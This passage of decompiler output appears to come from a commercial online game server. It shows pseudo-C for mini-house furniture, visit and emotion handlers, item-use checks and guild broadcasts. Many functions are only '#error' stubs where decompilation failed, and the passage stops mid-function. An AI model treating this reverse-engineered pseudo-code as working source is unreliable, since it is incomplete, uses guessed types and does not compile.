-------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo(void *this) { void *v1; // esi@1 int v2; // edx@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v7; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v7 = 0; *(_DWORD *)(*((_DWORD *)v1 + 8040) + 164) = (*(int (__thiscall **)(void *))(v2 + 2140))(v1); *(_BYTE *)(*((_DWORD *)v1 + 8040) + 169) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2136))(v1); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4246; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v3 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2140))(v1); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"); } //----- (0053FA80) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable(void *this, int efftype) { void *v2; // esi@1 int v3; // ebp@2 int v4; // eax@2 signed int result; // eax@5 unsigned int v6; // ebp@6 unsigned int v7; // ebp@7 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v9; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; switch ( efftype ) { case 0: v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1252))(v2); goto LABEL_4; case 1: v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1264))(v2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1256))(v2); LABEL_4: if ( v4 < (unsigned int)v3 ) goto $L166848; goto LABEL_9; case 2: case 3: case 4: case 5: goto $L166848; case 7: v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1252))(v2) < v6 ) { $L166848: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); result = 1; } else { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1264))(v2); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1256))(v2) >= v7 ) { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); result = 0; } else { v9 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } return result; default: goto LABEL_9; } } //----- (0053FC10) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUpdate(int pDBAck) { return 6768; } //----- (0053FC20) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUse(int pFurnitureEndureKitUseReq) { return 4484; } //----- (0053FC30) -------------------------------------------------------- #error "53FC30: undefined or illegal type '#593' (funcsize=47)" //----- (0053FCD0) -------------------------------------------------------- #error "53FCD0: undefined or illegal type '#593' (funcsize=47)" //----- (0053FD70) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { DebugLogging *v3; // esi@2 _iobuf *v4; // eax@4 DebugLogging *v5; // eax@6 if ( !ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol) ) { v3 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player ["); if ( DebugLogging::dl_ActivAll && v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } v5 = DebugLogging::operator<<(v3, "]. ignore 'minihouse portal del' command"); DebugLogging::operator<<(v5, &deb_LF); } } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0053FDF0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { DebugLogging *v3; // esi@2 _iobuf *v4; // eax@4 DebugLogging *v5; // eax@6 if ( !ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol) ) { v3 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player ["); if ( DebugLogging::dl_ActivAll && v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } v5 = DebugLogging::operator<<(v3, "]. ignore 'minihouse visitor count' command"); DebugLogging::operator<<(v5, &deb_LF); } } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0053FE70) -------------------------------------------------------- #error "53FE70: undefined or illegal type '#593' (funcsize=152)" //----- (00540090) -------------------------------------------------------- #error "540090: undefined or illegal type '#593' (funcsize=185)" //----- (005402D0) -------------------------------------------------------- #error "5402D0: undefined or illegal type '#593' (funcsize=175)" //----- (005404F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionInfo(void *this) { return (int)((char *)this + 23672); } //----- (00540500) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(int this) { *(_WORD *)(this + 23672) = -1; *(_WORD *)(this + 23674) = -1; *(_BYTE *)(this + 23676) = -1; *(_BYTE *)(this + 23677) = -1; return 1; } //----- (00540530) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotion(int this, __int16 nFurnitureHnd) { bool result; // al@2 if ( nFurnitureHnd == -1 ) result = 0; else result = *(_WORD *)(this + 23674) == nFurnitureHnd; return result; } //----- (00540550) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionPosition(int this, __int16 nFurnitureHnd, char nPosition) { return nFurnitureHnd != -1 && *(_WORD *)(this + 23674) == nFurnitureHnd && *(_BYTE *)(this + 23676) == nPosition; } //----- (00540580) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionNo(int this, char nEmotionNo) { return *(_BYTE *)(this + 23677) == nEmotionNo; } //----- (00540590) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotion(int this) { return *(_WORD *)(this + 23674); } //----- (005405A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionPosition(int this) { return *(_BYTE *)(this + 23676); } //----- (005405B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionNo(int this) { return *(_BYTE *)(this + 23677); } //----- (005405C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotion(int this, __int16 nFurnitureHnd) { *(_WORD *)(this + 23674) = nFurnitureHnd; return 1; } //----- (005405E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionPosition(int this, char nPosition) { *(_BYTE *)(this + 23676) = nPosition; return 1; } //----- (005405F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionNo(int this, char nEmotionNo) { *(_BYTE *)(this + 23677) = nEmotionNo; return 1; } //----- (00540600) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetNextFurnitureHandle(ShineObjectClass::ShineMiniHouse *this) { int v1; // eax@1 v1 = this->smh_Furniture.FurnitureHandle; this->smh_Furniture.FurnitureHandle = v1 + 1; return v1; } //----- (00540620) -------------------------------------------------------- #error "540620: undefined or illegal type '#593' (funcsize=57)" //----- (005406E0) -------------------------------------------------------- #error "5406E0: undefined or illegal type '#593' (funcsize=63)" //----- (005407B0) -------------------------------------------------------- #error "5407B0: undefined or illegal type '#593' (funcsize=254)" //----- (00540B00) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetActiveMH(int this) { return *(_WORD *)(this + 23406) != -1; } //----- (00540B10) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(int this, __int16 MHRegNum) { __int16 result; // ax@1 result = MHRegNum; *(_WORD *)(this + 23406) = MHRegNum; return result; } //----- (00540B20) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetMyHandle(int this) { return *(_WORD *)(this + 23406); } //----- (00540B30) -------------------------------------------------------- #error "540B30: undefined or illegal type '#593' (funcsize=68)" //----- (00540BE0) -------------------------------------------------------- #593 *__thiscall ShineObjectClass::ShinePlayer::so_mh_GetMinihouse(void *this) { unsigned __int16 v1; // ax@1 v1 = (*(int (**)(void))(*(_DWORD *)this + 312))(); return ShineObjectManager::som_GetObject(&shineobjmanager, v1); } //----- (00540C00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(int this, int pEvent) { int v2; // esi@1 int v3; // ecx@1 int result; // eax@2 v2 = this; v3 = *(_DWORD *)(this + 23680); if ( v3 ) { result = (**(int (__stdcall ***)(_DWORD))v3)(1); *(_DWORD *)(v2 + 23680) = 0; *(_DWORD *)(v2 + 23680) = pEvent; } else { *(_DWORD *)(v2 + 23680) = pEvent; } return result; } //----- (00540C40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(int this) { return *(_DWORD *)(this + 23680); } //----- (00540C50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(int this) { int v1; // edi@1 int v2; // esi@1 int v3; // eax@2 char result; // al@6 v1 = this; v2 = *(_DWORD *)(this + 23680); if ( v2 ) { v3 = *(_DWORD *)this; *(_DWORD *)(this + 23680) = 0; if ( (unsigned __int8)(*(int (**)(void))(v3 + 1152))() ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v2 + 4))(v2, v1); if ( v2 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v2)(v2, 1); result = 1; } else { result = 0; } return result; } //----- (00540CA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CastingBarFree(void *this) { void *v1; // esi@1 char *v2; // eax@2 int v3; // ST04_4@2 int v4; // eax@2 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@2 int v6; // [sp+1Ch] [bp-4h]@2 v1 = this; if ( *((_WORD *)this + 71954) != -1 ) { *((_WORD *)this + 71954) = -1; *((_DWORD *)this + 35793) = 0; *((_DWORD *)this + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)this + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)this + 35796) = 0; (*(void (__stdcall **)(signed int, signed int))(*(_DWORD *)this + 772))(8, 72); strncpy((char *)(*((_DWORD *)v1 + 8040) + 189), byte_635E1E, 0x20u); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8309; *((_WORD *)v2 + 1) = *((_WORD *)v1 + 2); strncpy(v2 + 4, (const char *)(*((_DWORD *)v1 + 8040) + 189), 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 36); v3 = *(_DWORD *)((char *)v1 + 78); v6 = 0; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v4, v3, 0, 0, (int)&alchat, 1, 65535); v6 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (00540DB0) -------------------------------------------------------- char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@2 char result; // al@3 if ( finger->cief_Finger >= -1 && (v2 = finger->cief_Finger + 1, finger->cief_Finger = v2, v2 < this->cideb_Total) ) { result = 1; } else { finger->cief_Finger = -10; result = 0; } return result; } //----- (00540DE0) -------------------------------------------------------- ChargedItemEffect *__thiscall ChargedItemEffectDataBox::cideb_Get(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { return this->cideb_Array[finger->cief_Finger].ce_Data; } //----- (00540DF0) -------------------------------------------------------- unsigned __int16 __thiscall ChargedItemEffectDataBox::cideb_GetItem(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { return this->cideb_Array[finger->cief_Finger].ce_ItemID; } //----- (00540E00) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (00540E20) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryMiniHouseEntrance *content) { MemoryQueue *v3; // eax@1 unsigned int v4; // ecx@1 v3 = this; v4 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); v3->mq_Pointer.value = v4; v3->mq_Buffer[v4].handle = hnd; memcpy(&v3->mq_Buffer[v3->mq_Pointer.value].content, content, sizeof(v3->mq_Buffer[v3->mq_Pointer.value].content)); return LOWORD(v3->mq_Pointer.value); } //----- (00540E80) -------------------------------------------------------- #error "540E80: undefined or illegal type '#593' (funcsize=138)" //----- (00541070) -------------------------------------------------------- #error "541070: undefined or illegal type '#593' (funcsize=230)" //----- (00541390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 char v8; // al@13 int v9; // eax@14 char v10; // al@17 int v11; // eax@18 char v12; // al@22 int v13; // eax@23 __int16 v14; // ax@25 char *v15; // ecx@26 char v16; // al@26 int v17; // eax@27 char v18; // al@29 int v19; // eax@30 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v21; // [sp+18h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S8_16 & 1) == 0; v6 = gpp.pp_Buffer; v21 = 0; *(_WORD *)gpp.pp_Buffer = 12340; if ( v5 ) { _S8_16 |= 1u; cmc_96.cmc_AllowMode = 6; atexit(_E9_39); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_96.cmc_AllowMode) ) { *((_WORD *)v6 + 3) = 6769; LABEL_7: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { LABEL_8: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"); return; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_34: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_35; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { *((_WORD *)v6 + 3) = 6774; goto LABEL_7; } if ( *((_BYTE *)v4 + 7428) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3464))(v4) ) { *((_WORD *)v6 + 3) = 6769; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) goto LABEL_8; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_34; } if ( *(_DWORD *)((char *)v4 + 98) ) { if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { *((_WORD *)v6 + 3) = 6772; v10 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v10, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( *((_BYTE *)v4 + 69760) & 0xC ) { *((_WORD *)v6 + 3) = 6769; v18 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v18, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2536))(v4) ) { *((_WORD *)v6 + 3) = 6769; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v14 = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v4 + 316))(v4, netcmd + 2); if ( v14 != 6768 ) { v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12340; *((_WORD *)v15 + 3) = v14; v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v4, &gpp); } } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } } else { *((_WORD *)v6 + 3) = 6770; v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v8, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (00541760) -------------------------------------------------------- #error "541760: undefined or illegal type '#734' (funcsize=303)" //----- (00541BB0) -------------------------------------------------------- #error "541BB0: undefined or illegal type '#593' (funcsize=280)" //----- (00541F70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // ecx@9 char v6; // al@11 int v7; // eax@13 int v8; // edi@13 int v9; // ebx@24 int v10; // ebx@26 int v11; // eax@26 int v12; // eax@29 char *v13; // ST14_4@29 DebugLogging *v14; // eax@29 DebugLogging *v15; // eax@29 DebugLogging *v16; // eax@29 signed int v17; // [sp+18h] [bp-24h]@10 DebugLineFeed *v18; // [sp+1Ch] [bp-20h]@0 FunctionEntarance _; // [sp+2Ch] [bp-10h]@1 int v20; // [sp+38h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S14_10 & 1) ) { _S14_10 |= 1u; cmc_98.cmc_AllowMode = 6; atexit(_E15_19); } if ( (1 << **(_BYTE **)(v4 + 3568)) & cmc_98.cmc_AllowMode ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2708))(v4) == 1 ) { if ( !(*(_BYTE *)(v4 + 7428) & 4) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 3464))(v4) ) { v5 = v4; if ( *(_DWORD *)(v4 + 98) ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 304))(v4); v5 = v4; if ( v6 ) { v17 = 4485; } else { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2256))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2644))(v4); v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(netcmd + 2)); v8 = v7; v5 = v4; if ( v7 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v7) > 0x2710 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))( v4, 35, 17, 4512); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1000))(v4, 200) || (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 152))(v8, netcmd + 4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 144))(v8, v4) ) { v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 124))(v8, v4); (*(void (__thiscall **)(int, signed int, signed int, int))(*(_DWORD *)v4 + 776))(v4, 35, 17, v9); if ( v9 == 4481 ) { if ( !(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 340))(v8) || (v10 = *(_DWORD *)v4, v11 = (*(int (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v8 + 340))( v8, 6, 9, 10), !(unsigned __int8)(*(int (__thiscall **)(int, int))(v10 + 1528))(v4, v11)) ) { v12 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1736))(v4, "cannot enter minihouse"); v13 = NameString::operator__(&namestring, (Name4 *)(v12 + 2)); v14 = DebugLogging::operator<<(&InnerMiniHouseLog, "player ["); v15 = DebugLogging::operator<<(v14, v13); v16 = DebugLogging::operator<<(v15, deb_LF.dummy); DebugLogging::operator<<(v16, v18); (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 136))(v8); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 308))(v4, *(_WORD *)(v8 + 4)); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 688))(v4); } v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v17 = 4485; } else { v17 = 4507; } v5 = v4; } else { v17 = 4487; } } } else { v17 = 4499; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v5, 35, 17, v17); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4482); } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4482); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4482); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"); } //----- (005422C0) -------------------------------------------------------- #error "5422C0: undefined or illegal type '#593' (funcsize=475)" //----- (00542980) -------------------------------------------------------- #error "542980: undefined or illegal type '#593' (funcsize=192)" //----- (00542C30) -------------------------------------------------------- #error "542C30: undefined or illegal type '#593' (funcsize=249)" //----- (00542F80) -------------------------------------------------------- #error "542F80: undefined or illegal type '#593' (funcsize=115)" //----- (00543100) -------------------------------------------------------- #error "543100: undefined or illegal type '#593' (funcsize=112)" //----- (00543270) -------------------------------------------------------- #error "543270: undefined or illegal type '#593' (funcsize=115)" //----- (005433F0) -------------------------------------------------------- #error "5433F0: undefined or illegal type '#593' (funcsize=175)" //----- (00543640) -------------------------------------------------------- #error "543640: undefined or illegal type '#593' (funcsize=150)" //----- (00543840) -------------------------------------------------------- #error "543840: undefined or illegal type '#593' (funcsize=165)" //----- (00543A70) -------------------------------------------------------- #error "543A70: undefined or illegal type '#593' (funcsize=164)" //----- (00543CA0) -------------------------------------------------------- #error "543CA0: undefined or illegal type '#593' (funcsize=176)" //----- (00543EF0) -------------------------------------------------------- #error "543EF0: undefined or illegal type '#593' (funcsize=173)" //----- (00544150) -------------------------------------------------------- #error "544150: undefined or illegal type '#593' (funcsize=165)" //----- (00544450) -------------------------------------------------------- #error "544A3F: positive sp value has been found (funcsize=26)" //----- (00544A50) -------------------------------------------------------- #error "544A50: undefined or illegal type '#593' (funcsize=187)" //----- (00544D40) -------------------------------------------------------- #error "544D40: undefined or illegal type '#593' (funcsize=269)" //----- (00545241) -------------------------------------------------------- void __stdcall sub_545241(int a1, int a2, int a3) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ : Packet Too Long", 6); JUMPOUT(loc_545844); } // 545844: using guessed type int __stdcall loc_545844(int, FunctionEntarance this, char); //----- (00545350) -------------------------------------------------------- #error "54587D: positive sp value has been found (funcsize=368)" //----- (00545890) -------------------------------------------------------- #error "545890: undefined or illegal type '#593' (funcsize=189)" //----- (00545B80) -------------------------------------------------------- #error "545B80: undefined or illegal type '#593' (funcsize=286)" //----- (00545F30) -------------------------------------------------------- #error "545F30: undefined or illegal type '#593' (funcsize=175)" //----- (00546190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // eax@1 unsigned __int16 v7; // ax@7 int v8; // eax@11 char v9; // al@14 int v10; // eax@15 char v11; // al@16 int v12; // eax@17 FunctionEntarance _; // [sp+Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@18 int v15; // [sp+24h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = 